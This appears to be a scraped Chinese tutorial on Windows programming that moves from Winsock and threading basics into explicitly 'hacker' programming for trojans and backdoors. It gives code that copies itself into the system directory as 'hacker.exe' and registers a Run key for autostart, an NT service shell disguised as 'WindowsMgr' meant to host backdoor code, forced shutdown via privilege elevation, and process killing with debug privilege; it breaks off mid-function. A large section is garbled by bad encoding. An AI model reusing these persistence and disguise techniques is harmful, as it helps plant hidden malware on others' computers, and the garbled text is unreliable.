文档库 最新最全的文档下载
当前位置:文档库 › $编程

$编程

第一节 了解Windows机制


Windows 是一个“基于事件的,消息驱动的”操作系统。

在Windows下执行一个程序,只要用户进行了影响窗口的动作(如改变窗口大小或移动、单击鼠标等)该动作就会触发一个相应的“事件”
系统每次检测到一个事件时,就会给程序发送一个“消息”,从而使程序可以处理该事件。

每个Windows 应用程序都是基于事件和消息的,而且包含一个主事件循环,它不停地、反复地检测是否有用户事件发生。每次检测到一个
用户事件,程序就对该事件做出响应,处理完再等待下一个事件的发生。

Windows 下的应用程序不断地重复这一过程,直至用户终止程序,用代码来描述实际上也就是一个消息处理过程的while循环语句。

下面便简单介绍一下与 Windows 系统密切相关的几个基本概念:

1:窗口:这是我要说的第一个概念。窗口是Windows本身以及Windows 环境下的应用程序的基本界面单位,但是很多人都误以为只有具有
标题栏、状态栏、最大化、最小化按钮这样标准的方框才叫窗口。其实窗口的概念很广,例如按钮和对话框等也是窗口,只不过是一种特殊化
窗口罢了。

从用户的角度看,窗口就是显示在屏幕上的一个矩形区域,其外观独立于应用程序,事实上它就是生成该窗口的应用程序与用户间的直观
接口;从应用程序的角度看,窗口是受其控制的一部分矩形屏幕区。应用程序生成并控制与窗口有关的一切内容,包括窗口的大小、风格、位
置以及窗口内显示的内容等。用户打开一个应用程序后,程序将创建一个窗口,并在那里默默地等待用户的要求。每当用户选择窗口中的选
项,程序即对此做出响应。

2:程序:通常说的程序都是指一个能让计算机识别的文件,接触得最多的便是.exe型的可执行文件.

3:进程:说到进程,学过《操作系统》的人都很清楚,所谓进程就是应用程序的执行实例(或称一个执行程序) 需要注意的是:进程是
程序动态的描述,而上面说到的程序是静态的描述,两者有本质的区别。举个例子,从网上 Down了一个瑞星杀毒软件到C盘但没有运行,那
个.exe 可执行文件叫做程序,它是一个二进制码的文件。一旦双击了exe文件图标运行程序,那个“正在运行着的瑞星杀毒”便称为进程,它
在双击的那一刻被系统创建,当你关机或者在任务栏的图标上单击鼠标右键选“退出”时,进程便消亡,彻底结束了生命。进程经历了由“创
建”到“消亡”的生命期,而程序自始至终存在于你的硬盘上,不管你的机器是否启动。

4:线程:线

程是进程中的一个执行单元,同一个进程中的各个线程对应于一组CPU指令、一组CPU寄存器以及一堆栈。进程本来就具有动态
的含义,然而实质上是通过线程来执行体现的,从这个意义上说,Windows 中进程的动态性意义已经不是很明显了,只算是给程序所占的资源
划定一个范围而已,真正具有动态性意义的是线程。

5:消息:我们几乎做每一个动作都会产生一个消息,鼠标被移动会产生WM_MOUSEMOVE消息,鼠标左键被按下会产生WM_LBUTTONDOWN的消
息,鼠标右键按下便产生WM_RBUTTONDOWN消息等等。所有的这些都可以通过GetMessage,SendMessage等函数得到.

6:事件:如在程序运行的过程中改变窗口的大小或者移动窗口等,都会触发相应的“事件”。

7:句柄:单单一个“柄”字便可以解释它的意思了,我们天气热摇扇子的时候只要抓住扇柄便可以控制整个扇子的运动了,在程序中也
差不多是这个意思。通常一个句柄就可以传递我们所要做的事情。有经验的成员肯定清楚,编写程序总是要和各种句柄打交道的,句柄是
系统用来标识不同对象类型的工具,如窗口、菜单等,这些东西在系统中被视为不同类型的对象,用不同的句柄将他们区分开来。

C++ 教材中给句柄下的定义是:“在Win32里,句柄是指向一个无值型对象(void *)的指针,是一个4字节长的数据”。从结构
上看,句柄的确是一个指针,尽管它没有指向用于存储某个对象的内存位置,而实际上句柄指向的是一个包含了对该对象进行的引用的位置。
在编程时,只要抓住了对象的句柄就可以对该对象进行操作了.

 
8:API与SDK:API是英文 Application Programming Interface 的简称,意为“应用程序接口”,泛指系统为应用程序提供的一系列接
口函数。其实质是程序内的一套函数调用,在编程的时候可以直接调用,而不必知道其内部实现的过程,只知道它的原型和返回值就可以
了.
SDK是英文 Software Development Kit 的缩写,指“软件开发工具包”,在防火墙的设计中就经常涉及到SDK。

第二节 Win API编程简介


下面介绍一下WIN API.
我们需要自己编写一个工具时,必然会用到很多操作windows和控制windows的函数,这些函数就是windows API.

API是Application Progamming Interface的缩写.就是说API是一系列已经定义的在windows内部的函数,是应用程序和系统之间的
桥梁,应用程序通过调用API来请求系统完成一系列的任务.窗口,菜单,文件操作等都是通过API实现的.

WIN32 API就是WINDOWS 32位平台的应用程序接口.现在可视化编程工具提供了大量控件,他们代替了API的功

能.这些控件都是构建
在WIN32 API之上的.是封装了的API函数集合.但是对于比较复杂和特殊功能(想我们的黑客编程)来说,就必须用API函数来实现.

WIN API存放在动态链接库(DLL)中,在98系统中,有32位的GDI32.DLL,KERNEL32.DLL,16位的GDI.EXE,KRNL386.EXE.API就存放在这些
动态链接库中.

木马和后门其实就是使用了文件操作函数,这里做简要介绍:
删除文件:BOOL DeleteFile(LPCTSH lpFileName)
复制文件:BOOL CopyFile()
移动文件:BOOL MoveFile()等等
具体的API可以上网自己去查看,有很多介绍API的书籍.



第三节 Windows 网络协议

首先介绍一下网络协议:网络协议是网络上所有设备之间通信规则的集合,他定义了通信时信息必须采用的格式和这些格式的意义.大多数
网络协议都采用分层体系结,每一层都建立在他的下层之上,向他的上一层提供服务,而把如何实现这一服务的细节对上层加以屏蔽.一台设备上
的第N层与另一台设备上的第N层进行通信的规则就是第N曾协议.在网络上的个层之间中存在着许多协议,接受方和发送方同层的协议必须一致,
否则,一方就无法识别另一方发出的信息.网络协议使网络上的设备各种设备能相互交换信息.

常用的协议有:TCP/IP协议,IPX/SPX歇息等等.在局域网中常用的IPX/SPX协议.而访问INTERNET,就必须添加TCP/IP协议.

TCP/IP协议是传输控制协议/互联网络协议.他规范了网络上所有设备的通信,尤其是一个主机与另一个主机之间的数据往来格式以及传送
方式.

在网络的各层中还存在着许多协议,下面列出部分网络协议规范:
ARP 地址解析协议
SNMP 网络管理协议
BOOTP 让无盘站从一个中心服务器上获得IP地址
DHCP 动态主机配置协议

下面介绍网络7层协议在WINDOWS的实现:

7层协议 WIN系统
________________________________________
7 应用层 7 应用程序
________________________________________________
6 表示层 6 WINSOCK API(DLL)
___________________________________________
5 会话层 5 SPI(DLL)
__________________________________________________
4 传输层 4 TDI(VXD,SYS)
___________________________________________________
3 网络层 3 NDIS(VXD,SYS)
__________________________________________________
2 数据链路层 2 网卡驱动程序(VXD,SYS)
___________________________________________
1 物理层 1 网卡
_________________________________________________
相信这个映射图可以让大家比较清楚了解他们的对应关系


TCP协议图示

应用程序协议 HTTP FTP TELNET
传输协议 TCP UDP
网际协议 IP
物理层协议 网卡

IP协

议保证数据的传输,TCP协议保证数据传输的质量.
TCP/IP协议基于四层结构:应用层,传输层,网络层,接口层,数据在传输时每通过一层就要在数据上加个头,其中的数据供接受端同层使用,在
接收端,每经过一层就把头去掉,来保证传输数据格式的一致.


TCP头部结构:
16位源端口号 16位目的端口号
_______________________________________________________________________________
32位序列号
___________________________________________________________________________
32位确认号
_____________________________________________________________________________________
4位首部长度+6位保留字 6位标志 16位窗口大小
_______________________________________________________________________________________
16位效验和 16位紧急数据偏移量
_____________________________________________________________________________________
数据段
_______________________________________________________________________________


IP头部结构:
4位IP版本号 4位首部长度 8位服务类型 16位总长度
___________________________________________________________________________________________
16位标示 3位标志和偏移
__________________________________________________________________________
8位生存时间 8位协议 16位IP首部效验和
________________________________________________________________________________________________
32位源IP地址
_________________________________________________________________________________________________________
32位目的IP地址
________________________________________________________________________________________
TCP头和数据

____________________________________________________________________________

第四节 关于服务器和客户端编程


在网络编程中,最常用和最基础的就是WINSOCK. 现在我们讨论WINDOWS下的SOCKET编程.

大凡在WIN32平台上的WINSOCK编程都要经过下列步骤:
定义变量->获得WINDOCK版本->加载WINSOCK库->初始化->创建套接字->设置套接字选项->关闭套接字->卸载WINSOCK库->释放资源

下面介绍WINSOCK C/S的建立过程:

服务器 客户端
________________________________________________
1 初始化WSA 1 初始化WSA
____________________________________________________
2 建立一个SOCKET 2 建立一个SO

CKET
_____________________________________________________
3 绑定SOCKET 3 连接到服务器
_____________________________________________________
4 在指定的端口监听 4 发送和接受数据
_____________________________________________________
5 接受一个连接 5 断开连接
______________________________________________________-
6 发送和接受数据
___________________________________________________
7 断开连接
__________________________________________________

大家注意,在VC中进行WINSOCK编程时,需要引入如下两个库文件:WINSOCK.H(这个是WINSOCK API的头文件,WIN2K以上支持WINSOCK2,所以
可以用WINSOCK2.H);Ws2_32.lib(WINSOCK API连接库文件).
使用方式如下:
#include
#pragma comment(lib,"ws2_32.lib")

下面我们通过具体的代码演示服务器和客户端的工作流程:

首先,建立一个WSADATA结构,通常用wsaData
WSADATA wsaData;

然后,调用WSAStartup函数,这个函数是连接应用程序与winsock.dll的第一个调用.其中,第一个参数是WINSOCK 版本号,第二个参数是指向
WSADATA的指针.该函数返回一个INT型值,通过检查这个值来确定初始化是否成功.调用格式如下:WSAStartup(MAKEWORD(2,2),&wsaData),其中
MAKEWORD(2,2)表示使用WINSOCK2版本.wsaData用来存储系统传回的关于WINSOCK的资料.

if(iResuit=WSAStartup(MAKEWORD(2,2),&wsaData)!=0)
{
printf("WSAStartup failed:%d",GetLastError()); //返回值不等与0,说明初始化失败
ExitProcess(); //退出程序
}

应用程序在完成对请求的SOCKET库使用后,要调用WSACleanup函数来接触SOCKET库的绑定,并且释放资源.

注意WSAStartup初始化后,必须建立一个SOCKET结构来保存SOCKET句柄.

下面我们建立一个SOCKET.

首先我们建立一个m_socket的SOCKET句柄,接着调用socket()函数,函数返回值保存在m_socket中.我们使用AF_INFE,SOCK_STREAM,IPPROTO_TCP
三个参数.第一个表示地址族,AF_INFE表示TCP/IP族,第二个表示服务类型,在WINSOCK2中,SOCKET支持以下三种类型;

SOCK_STREAM 流式套接字
SOCK_DGRAM 数据报套接字
SOCK_RAW 原始套接字

第三个参数表示协议:

IPPROTO_UDP UDP协议 用于无连接数据报套接字
IPPROTO_TCP TCP协议 用于流式套接字
IPPROTO_ICMP ICMP协议用于原始套接字

m_socket=socket(AF_INFE,SOCK_STREAM,IPPROTO_TCP); //创建TCP协议

以下代码用于检查返回值是否有错误:

if(m_scoket==INVALID_SOCKET)
{
prinrf("Error at socket():%d\n",GetLastError());
WSACleanup(); //释放资源
return;
}
说明,如果socket()调用失败,他将返回INVALID_SOCKET.


为了服务器能接受一个连接,他必须绑定一个网络地址,下面的代码展

示如何绑定一个已经初始化的IP和端口的Socket.客户端程序用这个
IP地址和端口来连接服务器.

sockaddr_in service;
service.sin_family=AF_INET; //INTERNET地址族
service.sin_addr.s_addr=inet_addr("127.0.0.1"); //将要绑定的本地IP地址
service.sin_port=htons(27015); //27015将要绑定的端口


下面我们调用BIND函数,把SOCKET和SOCKADDR以参数的形式传入,并检查错误.

if(bind(m_socket,(SOCKADDR*)&SERVICE,sizeof(service))==SOCKET_ERROR)
{
printf("bind() failed.\n");
closesocket(m_socket);
return;
}

当绑定完成后,服务器必须建立一个监听队列,以接受客户端的请求.listen()使服务器进入监听状态,该函数调用成功返回0,否则返回
SOCKET_ERROR.代码如下:

if(listen(m_socket,1)==SOCKET-ERROR)
{
printf("error listening on socket.\n");
}

服务器端调用完LISTEN()后,如果此时客户端调用CONNECT()函数,服务器端必须在调用ACCEPT().这样服务器和客户端才算正式完成通信程序的
连接动作.

一旦服务器开始监听,我们就要指定一个句柄来表示利用ACCEPT()函数接受的连接,这个句柄是用来发送和接受数据的表示.建立一个SOCKET句柄
Socket AcceptSocket 然后利用无限循环来检测是否有连接传入.一但有连接请求,ACCEPT()函数就会被调用,并且返回这次连接的句柄.

printf("waitong for a client to connect...\n");
while(1)
{
AcceptSocket=SOCKET_ERROR;
while(AcceptSocket==SOCKET_ERROR)
{
AcceptSocket=accept(m_socket,NULL,NULL);
}
}


下面看客户端端代码:

sockaddr_in clientService;
clientService.sin_family=AF_INET; //INTERNET地址族
clientService.sin_addr.s_addr=inet_addr("127.0.0.1"); //将要绑定的本地IP地址
clientService.sin_port=htons(27015); //27015将要绑定的端口

下面调用CONNECT()函数:

if ( connect( m_socket, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR)
{
printf( "Failed to connect.\n" );
WSACleanup();
return;
} //如果调用失败清理退出
//调用成功继续读写数据

_________________________________________________________________________________________________
到这里,服务器和客户端的基本流程介绍完毕,下面我们介绍数据交换.


send():
int send
{
SOCKET s, //指定发送端套接字
const char FAR?*buf, //指明一个存放应用程序要发送的数据的缓冲区
int len, //实际要发送的数据字节数
int flags //一般设置为0
};
C/S都用SEND函数向TCP连接的另一端发送数据.

recv():
int recv
{
SOCKET s, //指定发送端套接


char FAR?*buf, //指明一个缓冲区 存放RECC受到的数据
int len, //指明BUF的长度
int flags //一般设置为0

};
C/S都使用RECV函数从TCP连接的另一端接受数据

_______________________________________________________________________________________________


下面将完整的程序代码提供如下,大家可直接编译运行


首先看客户端的代码:

#include
#include
#pragma comment(lib, "ws2_32.lib")
void main() {

// 初始化 Winsock.
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
printf("Error at WSAStartup()\n");

// 建立socket socket.
SOCKET client;
client = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

if ( client == INVALID_SOCKET ) {
printf( "Error at socket(): %ld\n", WSAGetLastError() );
WSACleanup();
return;
}

// 连接到服务器.
sockaddr_in clientService;

clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( "127.0.0.1" );
clientService.sin_port = htons( 27015 );

if ( connect( client, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR) {
printf( "Failed to connect.\n" );
WSACleanup();
return;
}

// 发送并接收数据.
int bytesSent;
int bytesRecv = SOCKET_ERROR;
char sendbuf[32] = "Client: Sending data.";
char recvbuf[32] = "";

bytesSent = send( client, sendbuf, strlen(sendbuf), 0 );
printf( "Bytes Sent: %ld\n", bytesSent );

while( bytesRecv == SOCKET_ERROR ) {
bytesRecv = recv( client, recvbuf, 32, 0 );
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) {
printf( "Connection Closed.\n");
break;
}
if (bytesRecv < 0)
return;
printf( "Bytes Recv: %ld\n", bytesRecv );
}

return;
}


下面是服务器端代码:

#include
#include
#pragma comment(lib, "ws2_32.lib")
void main() {

// 初始化
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
printf("Error at WSAStartup()\n");

// 建立socket
SOCKET server;
server = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

if ( server == INVALID_SOCKET ) {
printf( "Error at socket(): %ld\n", WSAGetLastError()

);
WSACleanup();
return;
}

// 绑定socket
sockaddr_in service;

service.sin_family = AF_INET;
service.sin_addr.s_addr = inet_addr( "127.0.0.1" );
service.sin_port = htons( 27015 );

if ( bind( server, (SOCKADDR*) &service, sizeof(service) ) == SOCKET_ERROR ) {
printf( "bind() failed.\n" );
closesocket(server);
return;
}

// 监听 socket
if ( listen( server, 1 ) == SOCKET_ERROR )
printf( "Error listening on socket.\n");

// 接受连接
SOCKET AcceptSocket;

printf( "Waiting for a client to connect...\n" );
while (1) {
AcceptSocket = SOCKET_ERROR;
while ( AcceptSocket == SOCKET_ERROR ) {
AcceptSocket = accept( server, NULL, NULL );
}
printf( "Client Connected.\n");
server = AcceptSocket;
break;
}

// 发送接受数据
int bytesSent;
int bytesRecv = SOCKET_ERROR;
char sendbuf[32] = "Server: Sending Data.";
char recvbuf[32] = "";

bytesRecv = recv( server, recvbuf, 32, 0 );
printf( "Bytes Recv: %ld\n", bytesRecv );

bytesSent = send( server, sendbuf, strlen(sendbuf), 0 );
printf( "Bytes Sent: %ld\n", bytesSent );

return;
}
本程序仅仅描述了同步的情况!

第五节 多线程编程介绍

对于多线程的基本概念,我不在赘述,是个只要学习过一门编程语言就应该多进程和线程有个基本的了解.这里重点介绍一下如何实现多线程.

通常一个程序的主线程有操作系统创建,如果想让其创建额外的线程,可以调用CreateThread()函数来完成.函数原形如下:

HANDLE CreateThread()
{
LPSECURITY_ATTRIBUTES LPThreadAttributes, //指向SECURITY_ATTRIBUTES的指针
SIZE_T dwStackSize, //表示线程为自己所用堆栈分配的地址空间的大小 系统缺省值为0
LPTHREAD_START-TOUTINE lpStartAddress, //表示新线程开始执行时代码所在函数的地址 即线程函数名
LPVOID lpParameter, //是传入线程函数的参数
DWORD dwCreationFlags, //指定控制线程创建的附加标志 取0线程立即执行 取CREATE_SUSPENDED线程挂起
LPDWORD lpThreadld //是个DWORD类型的地址,返回赋给该新线程的ID
}

线程函数lpParameter必须有以下原形:

DWORD WINAPI XXXThreadFun(LPVOID lpParameter)
{
return(0);
}

_________________________________________________________________________________________

_______
下面我们来创建一个线程:

#include
#include
DWORD WINAPI ThreadFunc( LPVOID lpParam ) //线程函数,跟普通的函数没什么两样
{
printf( "Parameter = %d.", *(DWORD*)lpParam );
return 0;
}

VOID main( VOID )
{
DWORD dwThreadId, dwThrdParam = 1;
HANDLE hThread;
hThread = CreateThread( NULL,0,ThreadFunc,&dwThrdParam, 0,&dwThreadId);
if (hThread == NULL)
{
printf( "CreateThread failed (%d)\n", GetLastError() );
}
else
{
_getch();
CloseHandle( hThread );
}
}

关于线程同步的问题,这里就不再讲解,请大家自己查阅资料,不查阅以后可能会有困难啊.培养一下各位的自己动手能力.



本部分代码都是我在学习C++的过程中自己编写或者收集的

程序,由于个人的水平有限,其中难免有纰漏,请各位指正.


各代码都经过测试,均可以直接运行.

μúò??ú Windowsμ?1??úoí???e

oü?à???í??óD??3ì1??ú1|?ü,μ??a2¢2?ê?ò???oüo?μ?1|?ü.2?1y??óúè????t???÷,óDê±Dèòa???e?t???÷.??êμ??óú1??úoí???e,??Dèòaμ÷ó?????
APIoˉêy?′?éêμ??.
??óúWIN9X?μí3,?éò??±?óμ÷ó?,??óúWIN2Kò?é?,3?óú°2è?????,é?óD2?í?,??????±e?′ò???.

9X?μí3:
ExitWindowsEx(EWX_LOGOFF,0); //×¢?ú
ExitWindowsEx(EWX_REBOOT,0); //????
ExitWindowsEx(EWX_SHUTDOWN,0); //1??ú

?ú3ìDò?D?±?óμ÷ó??′?é.

2Kò?é??μí3:

HANDLE hToken;
TOKEN_PRIVILEGES tkp;

OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); // è?μ??μí3°?±?

if (GetVersionEx(&osvi) == 0)
return false;


if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
{
// Windows NT 3.51, Windows NT 4.0, Windows 2000,
// Windows XP, Windows .NET Server
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
//′ò?aμ±?°??3ì???ê′úo?
return false;

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
//??è?±?μ??¨ò?±êê?ó?óú?úì??¨?μí3?Déè??è¨?T

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
//ìáéy???êá???è¨?T
}

ExitWindowsEx(EWX_FORCE, 0);//????1??ú£?2??ò??3ì?¢?íWM_QUERYENDSESSION???¢




μú?t?ú 3ìDò′ó×¢2á±í×????ˉ


?è?ò′ó?ò?ééü?üè?WINDOWS×??ˉ???ˉμ?2?????toí8??×¢2á?ü

1: μ±?°ó??§×¨ó?μ????ˉ???t?D ???ì?Y??ê???è?WINDOWSμ?ó??§???ˉ???t?D?D.
????:?μí3?ì:\Document and Settings\<ó??§??3?

>\"?aê?"\3ìDò\???ˉ

2:?ùóDó??§μ????ˉ???t?D
????:?μí3?ì:\Document and Settings\ALL USER\"?aê?"\3ìDò\???ˉ

ò???ê?×¢2á?ü,?ù?éò?í¨1y×¢2á±í?±?ó???÷μ?μ?

3:LOAD×¢2á?ü

4:USERINIT×¢2á?ü

5:EXPLORER\RUN×¢2á?ü

6:RUNSERVICESONCE×¢2á?ü

7:RUNSERVICES×¢2á?ü

8:RUNONCE\STEUP×¢2á?ü

9:RUNONCE×¢2á?ü

10:RUN×¢2á?ü

?????ééüò???í¨1y±à3ìêμ??3ìDò×????ˉ

#include
#include
int main(void)
{
char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hkResult;
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult); //′ò?a1??ü×?

ret=RegSetValueEx(hkResult,"hacker"/* ×¢2á±í?ü??*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%\\hacker.exe",25);
//éè???ü?μ
if(ret==0){
printf("success to write run key\n");
RegCloseKey(hkResult);
}
else {
printf("failed to open regedit.%d\n",ret);
return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0,modlepath,256); //è?μ?3ìDò??×?
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"\\hacker.exe"),1);
if(ret)
{
printf("%s has been copyed to sys dir %s\n",modlepath,syspath);
}
else printf("%s is exisis",modlepath);
return 0;
}


第三节 编写NT服务

先介绍一下什么是NT服务,实际上就是一个可以在系统启动时自动在一定身份下启动的,伴随着系统长期存在的进程.

一个NT服务有三部分构成:
1:Service Control Manager(SCM) 每个WIN NT/2K都有一个SCM,他存在于Service.exe中.
2:服务本身 一个服务拥有能从SCM受到信号和命令所必需的特殊代码,并能够在处理后将他的状态返回SCM.
3:Service Control Dispatcher(SCP) 他是一个拥有用户截面,允许用户开始,暂停,继续,并且控制已经安装在计算机上作为服务运行的WIN32
应用程序

下面我们来看编写一个NT服务:(这是一个服务框架,只要在他后面添加自己的后门代码,那么后门就可以实现服务方式启动)
请大家对照注释仔细研究!

#include
#include
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning=true;
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv); //服务主函数
void WINAPI ServiceCtrlHandler(DWORD Opcode); //服务控制函数
void WINAPI CmdStart(void); //要启动的程序函数
BOOL InstallService(); //安装服务的函数
BOOL DeleteService(); //删除服务的函数

int main(int argc, char* argv[])
{
printf("\twindows based service demo\n");
printf("\tgxisone@https://www.wendangku.net/doc/d216910916.html,\n");
if(argc!=3)
{
printf("usage: %s -install[remove]",argv[0]);
return 0;
}
if

(strcmp(argv[1],"-install")==0) //安装
{
if(InstallService())
printf("\n\nService Installed Sucessfully\n");
else
printf("\n\nError Installing Service\n");
}
else if(strcmp(argv[1],"-remove")==0) // 删除
{
if(DeleteService())
printf("\n\nService remove sucessfully\n");
else
printf("\n\nError removing Service\n");
}
else
{
printf("\nusage: %s -install[remove]\n",argv[0]);
return 0;
}
//在进入点函数里面要完成ServiceMain的初始化,
//准确点说是初始化一个SERVICE_TABLE_ENTRY结构数组,
//这个结构记录了这个服务程序里面所包含的所有服务的名称
//和服务的进入点函数
SERVICE_TABLE_ENTRY
DispatchTable[]={{"WindowsMgr",ServiceMain},{NULL,NULL}};
//最后的NULL指明数组的结束
StartServiceCtrlDispatcher(DispatchTable);
return 0;
}

void WINAPI ServiceMain(DWORD argc, LPTSTR *argv)
{
m_ServiceStatus.dwServiceType = SERVICE_WIN32;
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwServiceSpecificExitCode = 0;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
m_ServiceStatusHandle = RegisterServiceCtrlHandler("WindowsMgr",ServiceCtrlHandler);
if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)return;
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; //设置服务状态
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
//SERVICE_STATUS结构含有七个成员,它们反映服务的现行状态。
//所有这些成员必须在这个结构被传递到SetServiceStatus之前正确的设置
SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus);
bRunning=true;
//*
CmdStart(); //启动我们的服务程序
//*
return;
}
void WINAPI ServiceCtrlHandler(DWORD Opcode) //服务控制函数
{
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE:
m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
bRunning=false;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
}
return;
}
BOOL InstallService() //安装服务函数
{
char strDir[1024];
SC_HANDLE schSCManager,schService;
GetCurrentDirectory(1024,strDir);
GetModuleFileName(NULL,strDir,sizeof(strDir));

char chSysPath[1024];
GetSystemDirectory(chSysPath,sizeof(chSysPath));

strcat(chSysPath,"\\WindowsMgr.exe");
if(!CopyFi

le(strDir,chSysPath,FALSE))printf("Copy file OK\n"); // 把我们的服务程序复制到系统根目录

strcpy(strDir,chSysPath);
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if (schSCManager == NULL)
{
printf("open scmanger failed,maybe you do not have the privilage to do this\n");
return false;
}

LPCTSTR lpszBinaryPathName=strDir;

schService = CreateService(schSCManager,"WindowsMgr","Windows Manger Control", //将服务的信息添加到SCM的数据库
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS, // 服务类型
SERVICE_AUTO_START, // 启动类型
SERVICE_ERROR_NORMAL,
lpszBinaryPathName, // 服务名
NULL,
NULL,
NULL,
NULL,
NULL);

if (schService == NULL)
{
printf("faint,we failed just because we invoke createservices failed\n");
return false;
}
CloseServiceHandle(schService);
return true;
}
BOOL DeleteService()
{
SC_HANDLE schSCManager;
SC_HANDLE hService;
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);

char chSysPath[1024];
GetSystemDirectory(chSysPath,sizeof(chSysPath));
strcat(chSysPath,"\\WindowsMgr.exe");

if (schSCManager == NULL)
{
printf("faint,open scmanger failed\n");
return false;
}
hService=OpenService(schSCManager,"WindowsMgr",SERVICE_ALL_ACCESS);
if (hService == NULL)
{
printf("faint,open services failt\n");
return false;
}
if(DeleteFile(chSysPath)==0)
{
printf("Dell file Failure !\n");
return false;
}
else printf("Delete file OK!\n");
if(DeleteService(hService)==0)
return false;

if(CloseServiceHandle(hService)==0)
return false;
else
return true;
}

void WINAPI CmdStart(void)
{

//把你的要做成服务启动的程序代码添加到这里
//那么你的代码就可以作为NT服务启动了

}




第四节 进程创建


我们使用CreateProcess来创建进程.

我们先看一下函数原形:
BOOL CreateProcess(LPCTSTR LPApplicationName, //可执行模块名
LPTSTR lpCommandLine, //命令字符串
LPSECURITY_ATTRIBUTES lpProcessAttributes, //线程安全属性
LPSECURITY_ATTRIBUTES lpThreadAttributes, //线程安全属性
BOOL binheritHandles, //句柄继承
DWORD dwCreationFlags, //创建标志
LPVODI lpEnvironment, //新的环境变量
LPCTSTR lpVurrentDirectory, //当前目录名
lpstartupinfo LPSTARTUPINFO, //启动信息
LPPROCESS_INFORTMATION lpPrecessinformation) //进程信息


下面创建一个IE进程:

#include
int main()
{
STARTUPINFO si; //进程启动时需要初始化的结构
PROCESS_INFORMATION pi;

//进程启动后的有关信息
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.wShowWindow = SW_SHOW; //这里设置窗口为显示,SW_HIDE为隐藏窗口
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
CreateProcess("C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE",
NULL,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi);
return 0;
}

第五节 查杀进程

我们在编写木马和后门程序时,列出和查杀进程是非常重要的.

列出进程我们使用palist函数:
void pslist(void)
{
HANDLE hProcessSnap = NULL;
PROCESSENTRY32 pe32= {0};
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == (HANDLE)-1)
{
printf("\nCreateToolhelp32Snapshot() failed:%d",GetLastError());
return ;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
printf("\nProcessName ProcessID");
if (Process32First(hProcessSnap, &pe32))
{
char a[5];
do
{
itoa(pe32.th32ProcessID,a,10);
printf("\n%-20s%d",pe32.szExeFile,pe32.th32ProcessID);
}
while (Process32Next(hProcessSnap, &pe32));
}
else
{
printf("\nProcess32Firstt() failed:%d",GetLastError());
}
CloseHandle (hProcessSnap);
return;
}

上边的代码列出了进程的PID,有了PID我们就可以使用PSKILL杀进程:

BOOL killps(DWORD id)
{
HANDLE hProcess=NULL,hProcessToken=NULL;
BOOL IsKilled=FALSE,bRet=FALSE;
try
{

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hProcessToken))
{
printf("\nOpen Current Process Token failed:%d",GetLastError());
leave;
}
//printf("\nOpen Current Process Token ok!");
if(!SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE))
{
leave;
}
printf("\nSetPrivilege ok!");

if((hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id))==NULL)
{
printf("\nOpen Process %d failed:%d",id,GetLastError());
leave;
}
//printf("\nOpen Process %d ok!",id);
if(!TerminateProcess(hProcess,1))
{
printf("\nTerminateProcess failed:%d",GetLastError());
leave;
}
IsKilled=TRUE;
}
finally
{
if(hProcessToken!=NULL) CloseHandle(hProcessToken);
